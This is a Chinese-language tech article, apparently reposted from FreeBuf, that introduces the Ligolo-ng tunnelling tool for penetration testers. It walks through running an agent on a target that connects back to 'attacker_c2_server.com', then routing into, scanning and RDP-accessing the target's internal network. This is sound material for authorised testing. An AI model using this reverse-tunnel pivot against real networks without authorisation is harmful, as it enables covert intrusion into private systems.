如何使用Ligolo-ng建立隐蔽的通信信道

安全 数据安全
Ligolo-ng是一款轻量级的快速工具,可以帮助广大渗透测试人员利用反向TCP/TLS连接建立一条隐蔽的通信信道,而且无需SOCKS支持。

[[425617]]

关于Ligolo-ng

Ligolo-ng是一款高级信道工具,该工具基于TUN接口实现其功能。Ligolo-ng是一款轻量级的快速工具,可以帮助广大渗透测试人员利用反向TCP/TLS连接建立一条隐蔽的通信信道,而且无需SOCKS支持。

功能介绍

  • Tun接口(不再需要SOCKS);
  • 简单的UI界面,支持选择代理和网络信息;
  • 易于使用,易于安装;
  • 基于Let’s Encrypt的自动化证书配置;
  • 高性能(多路复用);
  • 不需要高级权限;
  • 套接字监听/代理绑定;
  • 多平台代理支持;

工具构建

(1) 构建Ligolo-ng

  1. $ go build -o agent cmd/agent/main.go  
  2. $ go build -o proxy cmd/proxy/main.go  
  3. # Build agent for Windows  
  4. GOOS=windows go build -o agent.exe cmd/agent/main.go 

(2) 安装Ligolo-ng

我们需要在自己的命令控制服务器上开启代理服务,默认使用11601端口监听:

  1. $ sudo ip tuntap add user [your_username] mode tun ligolo 
  2. $ sudo ip link set ligolo up 
  3. $ ./proxy -h # Help options 
  4. $ ./proxy -autocert # Automatically request LetsEncrypt certificates 

工具使用

首先,我们需要在目标设备上启动代理(无需特殊权限):

  1. $ ./agent -connect attacker_c2_server.com:11601 

此时,代理服务器上将出现一条会话链接:

  1. INFO[0102] Agent joined. name=nchatelain@nworkstation remote="XX.XX.XX.XX:38000" 

使用“session”命令选择代理:

  1. ligolo-ng » session 
  2.  
  3. ? Specify a session : 1 - nchatelain@nworkstation - XX.XX.XX.XX:38000 

使用“ifconfig”命令显示代理的网络配置信息:

  1. [Agent : nchatelain@nworkstation] » ifconfig 
  2.  
  3. [...] 
  4.  
  5. ┌─────────────────────────────────────────────┐ 
  6.  
  7. │ Interface 3                                 │ 
  8.  
  9. ├──────────────┬──────────────────────────────┤ 
  10.  
  11. │ Name         │ wlp3s0                       │ 
  12.  
  13. │ Hardware MAC │ de:ad:be:ef:ca:fe            │ 
  14.  
  15. │ MTU          │ 1500                         │ 
  16.  
  17. │ Flags        │ up|broadcast|multicast       │ 
  18.  
  19. │ IPv4 Address │ 192.168.0.30/24             │ 
  20.  
  21. └──────────────┴──────────────────────────────┘ 

在代理/中继服务器上添加一条指向192.168.0.0/24代理网络的路由:

  1. $ sudo ip route add 192.168.0.0/24 dev ligolo 

最后,在代理上开启一条通信信道:

  1. [Agent : nchatelain@nworkstation] » start 
  2.  
  3. [Agent : nchatelain@nworkstation] » INFO[0690] Starting tunnel to nchatelain@nworkstation    

现在,你就可以通过代理服务器访问192.168.0.0/24代理网络:

  1. $ nmap 192.168.0.0/24 -v -sV -n 
  2.  
  3. [...] 
  4.  
  5. $ rdesktop 192.168.0.123 
  6.  
  7. [...] 

支持的协议/数据包

  • TCP
  • UDP
  • ICMP

性能

在Ligolo-ng的帮助下,你可以轻松达到100 Mbits/秒的速度。下面给出的测试结果是在一台200Mbits/s服务器上使用iperf测试的一条200Mbits/s的链接:

  1. $ iperf3 -c 10.10.0.1 -p 24483 
  2.  
  3. Connecting to host 10.10.0.1, port 24483 
  4.  
  5. [  5] local 10.10.0.224 port 50654 connected to 10.10.0.1 port 24483 
  6.  
  7. [ ID] Interval           Transfer     Bitrate         Retr  Cwnd 
  8.  
  9. [  5]   0.00-1.00   sec  12.5 MBytes   105 Mbits/sec    0    164 KBytes        
  10.  
  11. [  5]   1.00-2.00   sec  12.7 MBytes   107 Mbits/sec    0    263 KBytes        
  12.  
  13. [  5]   2.00-3.00   sec  12.4 MBytes   104 Mbits/sec    0    263 KBytes        
  14.  
  15. [  5]   3.00-4.00   sec  12.7 MBytes   106 Mbits/sec    0    263 KBytes        
  16.  
  17. [  5]   4.00-5.00   sec  13.1 MBytes   110 Mbits/sec    2    134 KBytes        
  18.  
  19. [  5]   5.00-6.00   sec  13.4 MBytes   113 Mbits/sec    0    147 KBytes        
  20.  
  21. [  5]   6.00-7.00   sec  12.6 MBytes   105 Mbits/sec    0    158 KBytes        
  22.  
  23. [  5]   7.00-8.00   sec  12.1 MBytes   101 Mbits/sec    0    173 KBytes        
  24.  
  25. [  5]   8.00-9.00   sec  12.7 MBytes   106 Mbits/sec    0    182 KBytes        
  26.  
  27. [  5]   9.00-10.00  sec  12.6 MBytes   106 Mbits/sec    0    188 KBytes        
  28.  
  29. - - - - - - - - - - - - - - - - - - - - - - - - - 
  30.  
  31. [ ID] Interval           Transfer     Bitrate         Retr 
  32.  
  33. [  5]   0.00-10.00  sec   127 MBytes   106 Mbits/sec    2             sender 
  34.  
  35. [  5]   0.00-10.08  sec   125 MBytes   104 Mbits/sec                  receiver 

注意事项

由于代理并不是以高级权限运行的,因此无法转发原始数据包。当你执行“NMAP SYN-SCAN”的时候,代理上会执行一次TCP connect()。

在使用Nmap时,你应该使用“--unprivileged”或“-PE”以避免假阳性。

工具使用演示

视频地址:【点我观看

项目地址

Ligolo-ng:【GitHub传送门

 

责任编辑:赵宁宁 来源: FreeBuf
相关推荐

2017-06-05 09:35:39

2017-06-06 09:21:48

2022-09-14 11:12:55

泄露数据隐蔽超声信道

2015-03-25 12:55:48

2015-03-09 11:35:10

PPP数据链路层

2017-01-16 09:20:32

2023-11-17 09:35:58

2018-03-09 09:15:16

Linuxsyslog-ng日志

2009-07-10 21:09:02

综合布线隐蔽工程

2018-02-24 09:00:52

算法攻击欺诈

2021-04-29 22:29:53

安全黑客云服务

2011-04-18 16:03:28

SSB数据库

2011-11-15 09:14:45

WLAN

2024-03-01 09:57:19

数据库检索项目

2020-09-16 10:59:44

AI人工智能AI系统

2020-09-09 08:30:42

内网隐蔽端口

2009-08-13 15:16:00

Eclipse建立We

2017-09-29 10:49:30

2010-05-10 09:20:48

2022-04-14 16:00:51

事件响应流程企业
点赞
收藏

51CTO技术栈公众号